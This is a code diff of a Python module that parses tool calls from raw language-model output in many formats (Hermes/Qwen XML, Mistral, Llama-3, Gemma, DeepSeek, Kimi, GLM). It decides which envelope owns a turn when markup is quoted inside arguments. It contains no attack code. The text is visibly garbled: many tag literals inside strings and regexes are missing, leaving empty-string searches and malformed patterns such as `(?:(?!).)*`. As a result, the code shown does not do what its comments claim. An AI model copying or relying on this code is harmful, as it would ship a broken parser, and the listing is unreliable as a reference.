"|" + re.escape(_KIMI_SECTION_BEGIN) + "|" + re.escape(_KIMI_CALL_BEGIN) +) +# Covers ```` and the attribute form. ``<|python_tag|>`` is Llama-3's +# envelope too (built-in ``NAME.call(`` and custom ``{json}``), so a quoted DeepSeek/Kimi +# example is data; the call-shaped lookahead mirrors the ``_TOOL_ALL_PATS`` python_tag arm +# so a bare prose ``<|python_tag|>`` mention isn't treated as one. +_OUTER_ENVELOPE_OPEN_RE = re.compile( + r'|' + r"|<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\())" +) +# CLOSED outer envelopes, each spanning to its REAL final close so a literal +# ````/```` inside a value is data. Wrapped Gemma counts too. +_OUTER_ENVELOPE_CLOSED_PATS = ( + re.compile(r"(?:(?!).)*", re.DOTALL), + _TOOL_CLOSED_PATS[1], + re.compile(r"<\|tool_call>.*?", re.DOTALL), +) + + +def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[set] = None) -> bool: + first_marker = _EMBEDDED_MARKER_RE.search(content) + if first_marker is None: + return False + # A leading bare-JSON or Mistral [TOOL_CALLS] call is an outer envelope too: + # a DS/Kimi marker in its argument strings is data. + i = 0 + n = len(content) + while i < n and content[i] in " \t\n\r": + i += 1 + if content.startswith("{", i): + end = _balanced_brace_end(content, i) + if end is not None and i < first_marker.start(): + name = _top_level_bare_json_name(content[i : end + 1]) + if name is not None and (enabled_tool_names is None or name in enabled_tool_names): + # The closed leading call owns the turn: a marker inside it is argument + # data, one after it a trailing example (same rule as the XML envelopes below). + return True + if name is not None and first_marker.start() <= end: + # A disabled-name leading object is prose (can't own the turn), but a marker + # inside its own strings stays data. A marker AFTER it falls through to the pre-pass. + return True + elif content.startswith(_MISTRAL_TRIGGER, i): + end = _mistral_region_end(content, i) + if end is not None and i < first_marker.start(): + return True + # A closed outer call PRECEDING the first marker owns the turn; the pre-pass must + # not steal a trailing example or argument data. + for _pat in _OUTER_ENVELOPE_CLOSED_PATS: + m = _pat.search(content) + if m is not None and m.start() < first_marker.start(): + return True + residue = content + for _pat in _OUTER_ENVELOPE_CLOSED_PATS: + residue = _pat.sub("", residue) + marker = _EMBEDDED_MARKER_RE.search(residue) + if marker is None: + return True + # A marker still stands; any opener left in the residue is UNCLOSED. One before the + # marker is a truncated outer call holding the marker as data: skip the pre-pass. + opener = _OUTER_ENVELOPE_OPEN_RE.search(residue) + return opener is not None and opener.start() < marker.start() + + +def _mistral_region_end(text: str, idx: int) -> int | None: + """Exclusive end of the balanced ``[TOOL_CALLS]`` call starting at ``idx``, + or ``None`` when truncated/unrecognised (same shapes as the strip scan: + array, single-object, and named ``name [CALL_ID]? [ARGS]? {json}``).""" + n = len(text) + i = idx + len(_MISTRAL_TRIGGER) + while i < n and text[i] in " \t\n\r": + i += 1 + if i < n and text[i] == "[": + end = _balanced_bracket_end(text, i) + return None if end is None else end + 1 + if i < n and text[i] == "{": + end = _balanced_brace_end(text, i) + return None if end is None else end + 1 + name_match = _MISTRAL_V11_NAME_RE.match(text, i) + if not name_match: + return None + i = name_match.end() + while i < n and text[i] in " \t\n\r": + i += 1 + i = _skip_mistral_call_id(text, i) + if text.startswith(_MISTRAL_ARGS_MARKER, i): + i += len(_MISTRAL_ARGS_MARKER) + while i < n and text[i] in " \t\n\r": + i += 1 + if i >= n or text[i] != "{": + return None + end = _balanced_brace_end(text, i) + return None if end is None else end + 1 + + +def _xml_signal_inside_leading_mistral(content: str) -> bool: + """True when a parseable Mistral call is the first tool emission in document order: it owns the turn, so later XML (quoted in its arguments or in trailing prose) is not promoted over it. A signal BEFORE the trigger keeps normal order.""" + trig = content.find(_MISTRAL_TRIGGER) + if trig < 0: + return False + first_xml = _first_foreign_tool_signal(content) + if first_xml is not None and first_xml < trig: + return False + # Only plain prose precedes the trigger: a visible preface must not hand + # the turn to a later XML literal (preamble-tolerant, like the + # wrapperless-Gemma guard). Prose that merely mentions the marker has no + # parseable region and keeps the normal order. + return _mistral_region_end(content, trig) is not None + + +def _parse_bare_rehearsals( + content: str, + *, + id_offset: int = 0, + enabled_tool_names: Optional[set] = None, +) -> list[dict]: + """Promote bare reasoning-rehearsal ``name[ARGS]{json}`` calls that a leading [TOOL_CALLS] + owns-the-turn parse would miss. Only the ``rehearsal`` kind is taken (a Mistral + ``[TOOL_CALLS]name[ARGS]{..}`` yields ``name`` and is not double-counted), and a rehearsal + inside a ```` / ``[THINK]`` block is reasoning, so it is skipped.""" + out: list[dict] = [] + think_spans = _tool_healing._think_spans_outside_tool_markup(content) + for start, end, kind, m in _tool_healing._iter_bracket_spans( + content, enabled_tool_names = enabled_tool_names + ): + if kind != "rehearsal": + continue + if any(s <= start < e for s, e in think_spans): + continue + try: + payload = json.loads(content[m.end() : end]) + except (json.JSONDecodeError, ValueError): + continue + if not isinstance(payload, dict): + continue + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": m.group(1), "arguments": json.dumps(payload)}, + } + ) + return out + + +_ATTR_FUNC_OPEN_RE = re.compile(r' int | None: + """Offset of the first tool signal a non-envelope parser would fire on + (XML forms plus ``<|python_tag|>``, which also runs before the Mistral parser).""" + first = None + for sig in ("", "<|tool_call>", ""): + p = content.find(sig) + if p >= 0 and (first is None or p < first): + first = p + attr = _ATTR_FUNC_OPEN_RE.search(content) + if attr is not None and (first is None or attr.start() < first): + first = attr.start() + # DeepSeek/Kimi markers are foreign to a JSON envelope too: a marker inside a leading + # object routes through the same guard (and, if disabled, the drop-and-parse-the-tail + # recursion, so a real call after the object is still reached). + marker = _EMBEDDED_MARKER_RE.search(content) + if marker is not None and (first is None or marker.start() < first): + first = marker.start() + return first + + +def _xml_signal_inside_leading_bare_json(content: str) -> bool: + """True when the first foreign tool signal is a quoted literal inside a + LEADING bare-JSON call object or JSON answer -- data, not a real call + (sibling of ``_xml_signal_inside_leading_mistral``).""" + i = 0 + n = len(content) + while i < n and content[i] in " \t\n\r": + i += 1 + if i >= n or content[i] not in "{[": + return False + if content[i] == "[": + # A leading array is only ever a structured answer; its literals are data. + end = _balanced_bracket_end(content, i) + if end is None: + return False + try: + json.loads(content[i : end + 1]) + except ValueError: + return False + first_xml = _first_foreign_tool_signal(content) + trig = content.find(_MISTRAL_TRIGGER) + if trig >= 0 and (first_xml is None or trig < first_xml): + first_xml = trig + return first_xml is not None and i < first_xml < end + end = _balanced_brace_end(content, i) + if end is None: + return False + if _top_level_bare_json_name(content[i : end + 1]) is None: + # A NAMELESS object that parses as real JSON is a structured answer / envelope too: + # quoted markup is data, and the decline path drops it and parses the tail. + # Non-JSON braced prose keeps the old behaviour. + try: + json.loads(content[i : end + 1]) + except ValueError: + return False + first_xml = _first_foreign_tool_signal(content) + # The Mistral trigger is foreign to a JSON envelope too (its parser runs first). + trig = content.find(_MISTRAL_TRIGGER) + if trig >= 0 and (first_xml is None or trig < first_xml): + first_xml = trig + # Inside the balanced body the signal is quoted data; after the closed object the + # leading call still owns the turn (mirrors the leading-Mistral rule). + return first_xml is not None and i < first_xml + + +def _signal_inside_leading_wrapperless_gemma( + content: str, enabled_tool_names: Optional[set] +) -> bool: + """True when the first foreign tool signal is a quoted literal inside (or + after) a LEADING enabled wrapper-less Gemma call (sibling of the + Mistral/bare-JSON leading guards). Markerless form, so gated on an enabled + name (``None`` keeps the name-agnostic behaviour).""" + first = _first_foreign_tool_signal(content) + # The Mistral trigger is foreign to a Gemma call too (its parser runs first). + trig = content.find(_MISTRAL_TRIGGER) + if trig >= 0 and (first is None or trig < first): + first = trig + if first is None: + return False + # A preamble before ``call:NAME{...}`` is normal; what matters is an ENABLED balanced + # call beginning before the first foreign signal. + cursor = 0 + while True: + m = _GEMMA_BARE_TC_RE.search(content, cursor) + if m is None or m.start() > first: + return False + if enabled_tool_names is not None and m.group(1) not in enabled_tool_names: + cursor = m.end() + continue + end = _gemma_body_brace_end(content, m.end() - 1) + if end is None: + return False + if m.end() - 1 < first <= end: + return True + # An enabled call that CLOSES before the signal still owns the turn (inside-or-after + # rule, as for closed bare-JSON/Mistral envelopes), gated on an enabled name. + return enabled_tool_names is not None and end < first + + +def _disabled_gemma_call_end_containing_signal( + content: str, enabled_tool_names: Optional[set] +) -> int | None: + """End offset (exclusive) of the earliest DISABLED wrapper-less Gemma call + whose balanced body contains the first foreign signal, else None. A disabled + name is prose, so the quoted literal is data: the caller drops the span and + recurses on the tail. An ENABLED call defers to the enabled-call guard.""" + if enabled_tool_names is None: + return None + first = _first_foreign_tool_signal(content) + # Mirror the enabled-call guard: the Mistral trigger is foreign here too. + trig = content.find(_MISTRAL_TRIGGER) + if trig >= 0 and (first is None or trig < first): + first = trig + if first is None: + return None + cursor = 0 + while True: + m = _GEMMA_BARE_TC_RE.search(content, cursor) + if m is None or m.start() > first: + return None + if m.group(1) in enabled_tool_names: + return None + end = _gemma_body_brace_end(content, m.end() - 1) + if end is None: + cursor = m.end() + continue + if m.end() - 1 < first <= end: + return end + 1 + cursor = end + 1 def parse_tool_calls_from_text( @@ -116,157 +948,1829 @@ def parse_tool_calls_from_text( *, id_offset: int = 0, allow_incomplete: bool = True, + enabled_tool_names: Optional[set] = None, ) -> list[dict]: - """Parse OpenAI-format ``tool_calls`` from model text. + """Return OpenAI-format tool calls, first-match wins so calls are never double-counted. - Returns a list of ``{"id", "type", "function": {"name", "arguments"}}`` - dicts. ``arguments`` is always a JSON string so callers can hand it - straight back into an OpenAI-style response. + ``allow_incomplete=True`` (default) heals truncated calls (missing close tag / + unclosed parameter); ``False`` accepts only well-formed closed calls (trailing + prose tolerated), matching llama-server's strict path when Auto-Heal is off. - Handles two shapes: + ``enabled_tool_names`` gates only the markerless Llama-3.2 bare-JSON form (the + marker-based forms carry an explicit signal, so a disabled-tool name there is a + real call attempt). ``None`` keeps the name-agnostic behaviour.""" + # Drop Magistral [THINK]...[/THINK] BEFORE dispatch: a rehearsed call inside it must + # never be promoted, and the parse path must agree with the display strip. + content = _strip_mistral_reasoning(content) - - JSON inside ```` tags: - ``{"name":"web_search","arguments":{"query":"..."}}`` - - XML-style function blocks: - ``v`` + # A leading bare-JSON value is decided FIRST: a string argument quoting tool markup + # (XML or a Mistral trigger) must stay data, so the bare-JSON parser takes the outer + # call before any other pass. Precedes the Mistral guard, whose preamble tolerance + # would otherwise claim a trigger quoted inside the leading object. + if _xml_signal_inside_leading_bare_json(content): + calls = _parse_llama3_bare_json( + content, id_offset = id_offset, enabled_tool_names = enabled_tool_names + ) + if calls: + return calls + # Disabled/example name: the leading object is content. Drop it and parse the tail. + i = 0 + while i < len(content) and content[i] in " \t\n\r": + i += 1 + # The guard guarantees a balanced leading value (object or array). + end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)(content, i) + return parse_tool_calls_from_text( + content[end + 1 :], + id_offset = id_offset, + allow_incomplete = allow_incomplete, + enabled_tool_names = enabled_tool_names, + ) - ``allow_incomplete=True`` keeps the historical healing behavior for - missing closing tags. ``allow_incomplete=False`` accepts only - well-formed wrappers so disabled Auto-Heal can still parse valid - local tool protocol without repairing truncated output. - """ - tool_calls: list[dict] = [] + # A leading enabled wrapper-less Gemma call is decided BEFORE the Mistral guard: its + # body reads as prose to the preamble tolerance below, so a quoted [TOOL_CALLS] would + # otherwise steal the turn. + if _signal_inside_leading_wrapperless_gemma(content, enabled_tool_names): + calls = _parse_gemma_tool_calls( + content, + id_offset = id_offset, + allow_incomplete = allow_incomplete, + enabled_tool_names = enabled_tool_names, + ) + if calls: + return calls - # Pattern 1: {json}. Balanced-brace scan, skipping braces in - # JSON strings. + # A DISABLED wrapper-less Gemma call is prose: drop the span and parse the tail BEFORE + # the Mistral guard, whose preamble tolerance would otherwise parse a quoted trigger. + _prose_end = _disabled_gemma_call_end_containing_signal(content, enabled_tool_names) + if _prose_end is not None: + return parse_tool_calls_from_text( + content[_prose_end:], + id_offset = id_offset, + allow_incomplete = allow_incomplete, + enabled_tool_names = enabled_tool_names, + ) + + # A [TOOL_CALLS] call that is the first tool emission owns the turn: XML quoted in its + # arguments or trailing prose is not promoted over it, nor does a prose preface forfeit it. + if _xml_signal_inside_leading_mistral(content): + calls = _parse_mistral_tool_calls( + content, id_offset = id_offset, allow_incomplete = allow_incomplete + ) + if calls: + # A bare rehearsal ``name[ARGS]{..}`` after the Mistral call is a peer tool call, + # not foreign XML the owns-the-turn guard protects against: promote it too so a + # Mistral call and a rehearsal in one message both parse. + calls.extend( + _parse_bare_rehearsals( + content, + id_offset = id_offset + len(calls), + enabled_tool_names = enabled_tool_names, + ) + ) + return calls + + # DeepSeek/Kimi markers are unique, so try them first -- unless an outer envelope + # opens before the first marker (then the marker is argument data). + if not _marker_inside_leading_envelope(content, enabled_tool_names): + # Dispatch by earliest opener so a quoted DS example inside a Kimi call (or vice + # versa) can't hijack the turn via fixed parser order. + _ds = _DEEPSEEK_BEGIN_RE.search(content) + _ds_pos = _ds.start() if _ds else len(content) + _km_section = content.find(_KIMI_SECTION_BEGIN) + _km_bare = content.find(_KIMI_CALL_BEGIN) + _km_pos = min(p for p in (_km_section, _km_bare, len(content)) if p >= 0) + pre_pass = [ + (_ds_pos, _parse_deepseek_tool_calls), + (_km_pos, _parse_kimi_tool_calls), + ] + pre_pass.sort(key = lambda pair: pair[0]) + for _pos, parser in pre_pass: + calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete) + if calls: + return calls + + # A leading MiniCPM/MiniMax attribute-form call owns the turn: tool_healing doesn't know + # the wrapper, so a quoted in its parameter would beat + # the outer call. Any earlier signal keeps normal order. + attr = _ATTR_FUNC_OPEN_RE.search(content) + if attr is not None: + first_other = None + for sig in ( + "", + "<|tool_call>", + "", + _MISTRAL_TRIGGER, + ): + p = content.find(sig) + if p >= 0 and (first_other is None or p < first_other): + first_other = p + if first_other is None or attr.start() < first_other: + calls = _parse_function_xml( + content, id_offset = id_offset, allow_incomplete = allow_incomplete + ) + if calls: + return calls + + # A leading Llama-3 ``<|python_tag|>`` call owns the turn like the others: markup quoted + # in a ``.call(...)`` argument is not promoted. tool_healing does not know the tag, so + # gate it here. A foreign signal before the tag keeps normal order. + py_tag = content.find(_LLAMA3_PYTHON_TAG) + if py_tag >= 0: + first_other = None + for sig in ("", "<|tool_call>", "= 0 and (first_other is None or p < first_other): + first_other = p + attr = _ATTR_FUNC_OPEN_RE.search(content) + if attr is not None and (first_other is None or attr.start() < first_other): + first_other = attr.start() + if first_other is None or py_tag < first_other: + calls = _parse_llama3_python_tag( + content, id_offset = id_offset, allow_incomplete = allow_incomplete + ) + if calls: + return calls + + # Qwen/Hermes, Qwen3.5 XML, Gemma 4, plus Mistral [TOOL_CALLS] / bare rehearsal + # ``name[ARGS]{json}`` use the shared tool_healing parser (strict/Auto-Heal contract + + # nested-marker, trailing-prose, and ``<|"|>`` quoted-string handling the GGUF path + # relies on). ``enabled_tool_names`` gates the ambiguous bare-rehearsal form so an + # inactive ``foo[ARGS]{..}`` stays prose. + calls = _tool_healing.parse_tool_calls_from_text( + content, + id_offset = id_offset, + allow_incomplete = allow_incomplete, + enabled_tool_names = enabled_tool_names, + ) + if calls: + return calls + + # Formats tool_healing does not cover; these run only after it finds + # nothing, so a strict-rejected call is never re-healed here. Blank any + # JSON/Gemma marker coverage first: markup inside a marker's span (even one + # that failed to parse) is that call's data, not a sibling, so a nested + # ```` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted. + fallback_content = content + coverage = _tool_healing.marker_coverage(content) + if coverage: + chars = list(content) + for cov_start, cov_end in coverage: + for i in range(cov_start, min(cov_end, len(chars))): + chars[i] = " " + fallback_content = "".join(chars) + for parser in ( + _parse_glm_tool_calls, # GLM 4.x name + _parse_function_xml, # attribute form + _parse_llama3_python_tag, # Llama-3 <|python_tag|> + _parse_mistral_tool_calls, # Mistral [TOOL_CALLS] + ): + calls = parser(fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete) + if calls: + return calls + + # Llama-3.2 bare ``{"name":..., "parameters":...}`` (strict shape). Only a LEADING call + # object matches and owns the turn, so an enabled ``call:NAME{...}`` in its arguments + # stays data (Gemma never starts ``{``). + calls = _parse_llama3_bare_json( + content, id_offset = id_offset, enabled_tool_names = enabled_tool_names + ) + if calls: + return calls + + # Gemma wrapper-less ``call:NAME{...}``: markerless, so the same enabled-name gate applies. + return _parse_gemma_tool_calls( + content, + id_offset = id_offset, + allow_incomplete = allow_incomplete, + enabled_tool_names = enabled_tool_names, + ) + + +def _parse_tool_call_json( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + out: list[dict] = [] for m in _TC_JSON_START_RE.finditer(content): - brace_start = m.end() - 1 # opening { - depth, i = 0, brace_start - in_string = False - while i < len(content): - ch = content[i] - if in_string: - if ch == "\\" and i + 1 < len(content): - i += 2 + brace_start = m.end() - 1 + end = _balanced_brace_end(content, brace_start) + if end is None: + continue + # Strict mode: a balanced JSON body that never closed its ```` + # is a truncated call, not a finished one. Trailing prose after the close + # is still tolerated (matches the GGUF strict path). + if not allow_incomplete and not content[end + 1 :].lstrip().startswith(""): + continue + try: + obj = json.loads(content[brace_start : end + 1]) + except (json.JSONDecodeError, ValueError): + continue + name = obj.get("name", "") + # Accept ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift). + args = obj.get("arguments") + if args is None: + args = obj.get("parameters", {}) + if isinstance(args, dict): + args_str = json.dumps(args) + elif isinstance(args, str): + args_str = args + else: + args_str = json.dumps({"value": args}) + if not name: + continue + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": name, "arguments": args_str}, + } + ) + return out + + +def _trim_param_value(val: str) -> str: + """Trim one wrapping newline the template adds around an XML parameter value + (``\nVALUE\n``), preserving inner indentation. + ``str.strip()`` destroyed code/diff indentation; SGLang's qwen3_coder trims only + the wrapping newline.""" + if val.startswith("\n"): + val = val[1:] + if val.endswith("\n"): + val = val[:-1] + return val + + +def _inside_open_parameter(text: str, pos: int) -> bool: + """True if ``pos`` sits inside an unclosed ````/```` block -- + i.e. a ```` / ```` opener at ``pos`` is a literal inside an + argument value (e.g. code that prints tool-call XML), not a real nested call. + Compares the last parameter opener before ``pos`` against the last + parameter/function close before it.""" + last_param_open = -1 + for m in _TC_PARAM_START_RE.finditer(text, 0, pos): + last_param_open = m.start() + if last_param_open < 0: + return False + # The parameter's OWN close tag decides: while it closes after ``pos`` the position is + # argument data, even across several literal function closes. Only an unclosed + # parameter (heal mode) falls back to the first function close. + own_closes = [ + c + for c in ( + text.find("", last_param_open), + text.find("", last_param_open), + ) + if c >= 0 + ] + if own_closes: + return min(own_closes) > pos + func_closes = [ + c + for c in ( + text.find("", last_param_open), + text.find("", last_param_open), + ) + if c >= 0 + ] + return not func_closes or pos < min(func_closes) + + +def _parse_function_xml( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + out: list[dict] = [] + # Skip ```` openers that are literals inside an open parameter value, + # else the nested marker is promoted to a second call and truncates the real argument. + func_starts = [ + fm + for fm in _TC_FUNC_START_RE.finditer(content) + if not _inside_open_parameter(content, fm.start()) + ] + for idx, fm in enumerate(func_starts): + # group(1) is ````, group(2) is ````. + func_name = fm.group(1) or fm.group(2) + body_start = fm.end() + next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) + # The call ends at the FIRST / not inside an open + # parameter: a literal close in a code/search argument is skipped as data, and + # prose after the real close isn't folded into the last argument (mirrors + # _strip_function_xml_calls and tool_healing._func_close_index). + close_match = None + for cm in _TC_END_TAG_RE.finditer(content, body_start, next_func): + if not _inside_open_parameter(content, cm.start()): + close_match = cm + break + has_close = close_match is not None + if has_close: + body_end = close_match.start() + else: + body_end = min(len(content), next_func) + # Strict mode: an unclosed function call is truncated -- do not heal it. + if not allow_incomplete and not has_close: + continue + body = _TC_FUNC_CLOSE_RE.sub("", content[body_start:body_end]) + + args: dict = {} + param_unclosed = False + # A ```` opener inside an open parameter value is literal text. + param_starts = [ + pm + for pm in _TC_PARAM_START_RE.finditer(body) + if not _inside_open_parameter(body, pm.start()) + ] + if len(param_starts) == 1: + pm = param_starts[0] + raw_val = body[pm.end() :] + if not _TC_PARAM_CLOSE_RE.search(raw_val): + param_unclosed = True + val = _TC_PARAM_CLOSE_RE.sub("", raw_val) + args[pm.group(1) or pm.group(2)] = _trim_param_value(val) + else: + for pidx, pm in enumerate(param_starts): + val_start = pm.end() + next_param = ( + param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body) + ) + raw_val = body[val_start:next_param] + if not _TC_PARAM_CLOSE_RE.search(raw_val): + param_unclosed = True + val = _TC_PARAM_CLOSE_RE.sub("", raw_val) + args[pm.group(1) or pm.group(2)] = _trim_param_value(val) + + # Strict mode: a dangling parameter means the call was cut off; a closed + # zero-parameter call stays valid. + if not allow_incomplete and param_unclosed: + continue + + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": func_name, "arguments": json.dumps(args)}, + } + ) + return out + + +def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]: + """One ``.call`` value (string/number/true/false/null) at ``body[p:]``. + Returns ``(value, consumed_len)`` or ``(None, None)`` if none matches.""" + if p >= n: + return None, None + if body[p] == '"': + # ``"((?:\\.|[^"\\])*)"`` by hand so an unterminated quote is O(n), not O(n^2). + j = p + 1 + while j < n: + c = body[j] + if c == "\\": + # ``\\.`` needs a following non-newline char; else the body can't match. + if j + 1 >= n or body[j + 1] == "\n": + return None, None + j += 2 + continue + if c == '"': + raw = body[p + 1 : j] + # json.loads keeps \n/\uXXXX escapes and literal UTF-8 (emoji/CJK) intact. + try: + return json.loads('"' + raw + '"'), j + 1 - p + except (json.JSONDecodeError, ValueError): + return raw, j + 1 - p + j += 1 + return None, None # unterminated + nm = _LLAMA3_NUM_RE.match(body, p) + if nm: + v = nm.group(0) + # Scientific notation (1e-3, -2E+4, 0.5e2) and decimals decode as float; a bare + # integer stays int. ``"." in v`` alone missed the exponent forms (1e-3 -> 1). + return (float(v) if any(c in v for c in ".eE") else int(v)), nm.end() - p + lm = _LLAMA3_LIT_RE.match(body, p) + if lm: + return {"true": True, "false": False, "null": None}[lm.group(0)], lm.end() - p + return None, None + + +def _parse_llama3_kv_args(body: str) -> dict[str, Any]: + """``k=v, ...`` kwargs from a ``.call(...)`` body, left to right (later keys win). + Linear hand-scan replacing the quadratic ``_LLAMA3_KV_RE.finditer`` walk.""" + args: dict[str, Any] = {} + n = len(body) + i = 0 + while i < n: + km = _LLAMA3_KEY_RE.match(body, i) + if km is None: + i += 1 + continue + p = _LLAMA3_WS_RE.match(body, km.end()).end() + if p >= n or body[p] != "=": + i = km.end() + continue + p = _LLAMA3_WS_RE.match(body, p + 1).end() + val, length = _llama3_kv_value(body, p, n) + if length is None: + i = km.end() + continue + args[km.group(0)] = val + i = p + length + return args + + +def _parse_llama3_python_tag( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """Parse the Llama-3 emissions: ``<|python_tag|>NAME.call(...)`` (built-in), + ``<|python_tag|>{"name":..., "parameters":...}`` (custom), multi-call via + ``; ``, ``parameters`` or ``arguments`` key.""" + out: list[dict] = [] + if _LLAMA3_PYTHON_TAG not in content: + return out + + # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` and optionally + # ``; ``-chained within one emission. Anchoring to the tag boundary (not a free scan) + # keeps a literal ``<|python_tag|>x.call(...)`` quoted in a custom-form JSON argument + # from being mistaken for a real built-in call. + pos = content.find(_LLAMA3_PYTHON_TAG) + truncated = False + while pos >= 0 and not truncated: + head = _LLAMA3_PY_CALL_HEAD_RE.match(content, pos + len(_LLAMA3_PYTHON_TAG)) + if head is None: + # Tag is the custom JSON form (``{...}``) or noise -- leave it to step 2. + break + name = head.group(1) + open_idx = head.end() + i = open_idx + while True: + i = open_idx + depth = 1 + in_string = False + esc = False + while i < len(content) and depth > 0: + ch = content[i] + if in_string: + if esc: + esc = False + elif ch == "\\": + esc = True + elif ch == '"': + in_string = False + else: + if ch == '"': + in_string = True + elif ch == "(": + depth += 1 + elif ch == ")": + depth -= 1 + if depth == 0: + break + i += 1 + # Truncated ``.call(...)`` with no closing paren: reject in strict mode + # instead of executing a partial. + if not allow_incomplete and depth > 0: + truncated = True + break + body = content[open_idx:i] + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(_parse_llama3_kv_args(body)), + }, + } + ) + # ``)`` then optional ``; NAME.call(`` chains the next built-in call. + chain = _LLAMA3_CALL_CHAIN_RE.match(content, i + 1) + if chain is None: + break + name = chain.group(1) + open_idx = chain.end() + # Past the consumed region: a second ``<|python_tag|>`` may carry more calls. + pos = content.find(_LLAMA3_PYTHON_TAG, i + 1) + + # 2. ``<|python_tag|>{"name":..., "parameters":...}``. ``raw_decode`` peels multiple + # ``; ``-separated objects from one emission. + if not out: + decoder = json.JSONDecoder() + idx = content.find(_LLAMA3_PYTHON_TAG) + while idx >= 0: + search_from = idx + len(_LLAMA3_PYTHON_TAG) + cursor = search_from + while cursor < len(content): + brace = content.find("{", cursor) + if brace < 0: + break + # Stop at the next ``<|python_tag|>``. + next_tag = content.find(_LLAMA3_PYTHON_TAG, search_from, brace) + if next_tag >= 0: + break + try: + obj, end_offset = decoder.raw_decode(content[brace:]) + except (json.JSONDecodeError, ValueError): + cursor = brace + 1 continue - if ch == '"': - in_string = False + if not isinstance(obj, dict): + cursor = brace + end_offset + continue + name = obj.get("name") or obj.get("function") or "" + args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {}) + # Skip rather than fabricate ``{"value": args}`` for a non-dict/non-string value. + if isinstance(args, dict): + args_str = json.dumps(args) + elif isinstance(args, str): + args_str = args + else: + cursor = brace + end_offset + continue + if name: + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": name, "arguments": args_str}, + } + ) + cursor = brace + end_offset + idx = content.find(_LLAMA3_PYTHON_TAG, cursor) + return out + + +# Llama-3 special-token sentinels (chainable, any order) plus the role label the +# template inserts between ``<|start_header_id|>`` and ``<|end_header_id|>``. +_LLAMA3_BARE_JSON_SENTINELS = ( + "<|begin_of_text|>", + "<|eot_id|>", + "<|start_header_id|>", + "<|end_header_id|>", + "<|eom_id|>", +) +_LLAMA3_HEADER_ROLES = ("assistant", "user", "system", "tool", "ipython") + + +def strip_llama3_leading_sentinels(content: str) -> str: + """Strip leading Llama-3 special-token sentinels (and the role label after + ``<|start_header_id|>``) that can leak from a prior turn before a bare-JSON tool + call. Shared by the parser and the streaming buffering guards so a + sentinel-prefixed ``{"name":...}`` is recognised the same everywhere.""" + stripped = content.lstrip() + while True: + stripped = stripped.lstrip() + matched = False + for sentinel in _LLAMA3_BARE_JSON_SENTINELS: + if stripped.startswith(sentinel): + stripped = stripped[len(sentinel) :] + if sentinel == "<|start_header_id|>": + for role in _LLAMA3_HEADER_ROLES: + if stripped.startswith(role): + stripped = stripped[len(role) :] + break + matched = True + break + if not matched: + return stripped + + +def _parse_llama3_bare_json( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, + enabled_tool_names: Optional[set] = None, +) -> list[dict]: + """Llama-3.2 ``custom_tools`` bare ``{"name":.., "parameters":{..}}`` (no ``<|python_tag|>``), + strict so prose/echoes don't fire. ``enabled_tool_names`` gates on the parsed name so an + ordinary JSON answer isn't misread as a call to a disabled tool; ``None`` is name-agnostic.""" + out: list[dict] = [] + stripped = strip_llama3_leading_sentinels(content) + if not stripped.startswith("{"): + return out + + decoder = json.JSONDecoder() + cursor = 0 + n = len(stripped) + while cursor < n: + # Skip whitespace and the Llama-3 ``;`` inter-call separator. + while cursor < n and stripped[cursor] in " \t\n\r;": + cursor += 1 + if cursor >= n or stripped[cursor] != "{": + break + try: + obj, end_offset = decoder.raw_decode(stripped[cursor:]) + except (json.JSONDecodeError, ValueError): + break + if not isinstance(obj, dict): + break + name = obj.get("name") or obj.get("function") or "" + if not isinstance(name, str) or not name: + break + # Markerless JSON is ambiguous: treat it as a call only when the name is an enabled + # tool, else it is an ordinary JSON answer. + if enabled_tool_names is not None and name not in enabled_tool_names: + break + # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or + # JSON-string of one (OpenAI). Looser would fire on ``{"name":"x","parameters":"sentence"}``. + if "parameters" in obj: + args = obj.get("parameters") + if not isinstance(args, dict): + break + args_str = json.dumps(args) + elif "arguments" in obj: + args = obj.get("arguments") + if isinstance(args, dict): + args_str = json.dumps(args) + elif isinstance(args, str): + try: + parsed = json.loads(args) + except (json.JSONDecodeError, ValueError): + break + if not isinstance(parsed, dict): + break + args_str = args + else: + break + else: + break + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": name, "arguments": args_str}, + } + ) + cursor += end_offset + return out + + +def _parse_mistral_tool_calls( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """Parse all Mistral emissions: pre-v11 ``[TOOL_CALLS][...]`` / ``[TOOL_CALLS]{...}`` + and v11+ ``[TOOL_CALLS]name{json}`` / ``[TOOL_CALLS]name[ARGS]{json}``.""" + out: list[dict] = [] + content = _strip_mistral_reasoning(content) + idx = content.find(_MISTRAL_TRIGGER) + if idx < 0: + return out + + # Disambiguate the first occurrence: array / single object (pre-v11), or bare-name (v11+). + j = idx + len(_MISTRAL_TRIGGER) + k = j + while k < len(content) and content[k] in " \t\n\r": + k += 1 + if k >= len(content): + return out + + if content[k] == "[": + return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete) + + if content[k] == "{": + # Pre-v11 single ``{"name":...}``; fall through without a ``name`` so v11+ still runs. + end = _balanced_brace_end(content, k) + if end is not None: + try: + obj = 